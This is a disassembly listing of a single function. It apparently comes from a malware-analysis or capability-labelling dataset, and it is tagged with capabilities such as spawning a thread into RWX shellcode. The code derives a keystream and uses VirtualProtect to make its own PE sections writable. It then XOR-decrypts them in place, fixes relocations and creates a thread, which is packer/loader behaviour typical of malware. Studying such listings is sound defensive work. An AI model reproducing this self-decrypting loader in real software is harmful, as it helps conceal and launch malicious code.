Function at 0x1000daaa
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 0xc], 1
push ebx
push esi
push edi
jne 0x1000de18
push 0x200
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor edi, edi
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x1000ddda
mov ebx, 0x159a55e5
mov edi, 0x49e06e9
mov ecx, 0x350b
mov dword [ebp - 8], 0xce0b8bd9
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], edi
mov esi, ecx
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x14], 0x20
mov eax, dword [ebp - 8]
mov edx, 0x696086
mul edx
mov dword [ebp - 0x18], edx
xor edx, edx
add eax, esi
mov esi, edx
mov edx, dword [ebp - 0x18]
adc edx, esi
mov esi, dword [ebp - 4]
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0x10]
mov dword [ebp - 4], esi
mov esi, edx
mov edx, dword [ebp + 0xc]
add dword [ebp + 0xc], 4
dec dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [edx], eax
jne 0x1000db06
mov eax, dword [ebp - 0xc]
sub eax, 0xffffff80
mov dword [ebp - 0x14], 0xae6f7fee
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], edi
mov esi, ecx
mov dword [ebp + 0xc], eax
mov dword [ebp - 4], 0x20
mov eax, dword [ebp - 0x14]
mov edx, 0x696086
mul edx
mov dword [ebp - 0x18], edx
xor edx, edx
add eax, esi
mov esi, edx
mov edx, dword [ebp - 0x18]
adc edx, esi
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], esi
mov esi, edx
mov edx, dword [ebp + 0xc]
add dword [ebp + 0xc], 4
dec dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [edx], eax
jne 0x1000db5c
mov eax, dword [ebp - 0xc]
add eax, 0x100
mov dword [ebp - 0x14], 0x2175f99f
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], edi
mov esi, ecx
mov dword [ebp + 0xc], eax
mov dword [ebp - 4], 0x20
mov eax, dword [ebp - 0x14]
mov edx, 0x696086
mul edx
mov dword [ebp - 0x18], edx
xor edx, edx
add eax, esi
mov esi, edx
mov edx, dword [ebp - 0x18]
adc edx, esi
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], esi
mov esi, edx
mov edx, dword [ebp + 0xc]
add dword [ebp + 0xc], 4
dec dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [edx], eax
jne 0x1000dbb4
mov dword [ebp + 0xc], ecx
mov ecx, dword [ebp - 0xc]
mov esi, 0x5f565d1c
add ecx, 0x180
mov dword [ebp - 0x14], 0x20
mov eax, esi
mov edx, 0x696086
mul edx
xor esi, esi
add eax, dword [ebp + 0xc]
adc edx, esi
mov dword [ecx], eax
mov esi, ebx
add ecx, 4
dec dword [ebp - 0x14]
mov ebx, edi
mov dword [ebp + 0xc], edx
mov edi, eax
jne 0x1000dc03
mov esi, dword [ebp + 8]
mov edi, dword [esi + 0x3c]
add edi, esi
movzx ecx, word [edi + 6]
movzx eax, word [edi + 0x14]
xor ebx, ebx
lea eax, [eax + edi + 0x18]
test ecx, ecx
jbe 0x1000dd30
mov ecx, dword [edi + 0x28]
lea edx, [eax + 0xc]
mov dword [ebp + 0xc], edx
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
cmp ecx, edx
jb 0x1000dc67
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx - 4]
add ecx, edx
mov edx, ecx
mov ecx, dword [edi + 0x28]
cmp ecx, edx
jbe 0x1000dc79
movzx edx, word [edi + 6]
add dword [ebp + 0xc], 0x28
inc ebx
cmp ebx, edx
jb 0x1000dc4d
jmp 0x1000dd30
imul ebx, ebx, 0x28
add ebx, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebx + 0xc]
push 0x40
push dword [ebx + 8]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov byte [ebp + 0xf], 0
mov dword [ebp - 4], eax
cmp dword [ebx + 8], eax
jbe 0x1000dd1a
mov ecx, dword [ebx + 0xc]
add ecx, eax
cmp dword [edi + 0x28], ecx
jne 0x1000dcaf
mov byte [ebp + 0xf], 1
cmp byte [ebp + 0xf], 0
jne 0x1000dcc9
mov edx, dword [ebp - 0xc]
and eax, 0x1ff
add eax, edx
mov dl, byte [eax]
add ecx, esi
xor byte [ecx], dl
inc byte [eax]
jmp 0x1000dd0e
lea eax, [ecx + esi]
push esi
push eax
call fcn.10001094
pop ecx
pop esi
cmp eax, 1
jne 0x1000dce9
mov ecx, dword [ebx + 0xc]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
cmp byte [ecx + edx], 0xc3
je 0x1000dcfd
cmp eax, 3
jne 0x1000dd01
mov ecx, dword [ebx + 0xc]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
cmp byte [ecx + edx], 0xc2
jne 0x1000dd01
mov byte [ebp + 0xf], 0
mov ecx, dword [ebp - 4]
mov esi, dword [ebp + 8]
lea eax, [ecx + eax - 1]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebx + 8]
jb 0x1000dca1
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov eax, dword [ebx + 0xc]
push dword [ebx + 8]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [edi + 0xa0]
add edi, esi
mov byte [ebp + 0xb], 1
mov eax, dword [edi + 4]
mov ebx, dword [edi]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x1000dd57
cmp byte [ebp + 0xb], al
je 0x1000ddc4
mov byte [ebp + 0xb], al
mov dword [ebp + 0xc], 8
cmp dword [ebp + 0xc], 8
jbe 0x1000ddbc
cmp byte [ebp + 0xb], 0
jne 0x1000ddbc
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0x1000
add ebx, esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
pop edx
cmp dword [ebp + 0xc], edx
jbe 0x1000dda9
movzx eax, word [edx + edi]
mov ecx, eax
and eax, 0xfffff000
and ecx, 0xfff
cmp eax, 0x3000
jne 0x1000dda2
lea eax, [ebx + ecx]
lea ecx, [esi - 0x10000000]
add dword [eax], ecx
inc edx
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x1000dd7f
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add edi, dword [ebp + 0xc]
jmp 0x1000dd3c
push dword [ebp - 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
jmp 0x1000dddd
mov esi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push 1
push edi
call ebx
push edi
push edi
push 1
push edi
mov dword [0x1001322c], eax
call ebx
push edi
push edi
push esi
push 0x1000d904
push edi
push edi
mov dword [0x10013228], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x1000de2a
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000de2a
cmp dword [ebp + 0xc], 0
jne 0x1000de2a
push dword [0x1001322c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret 0xc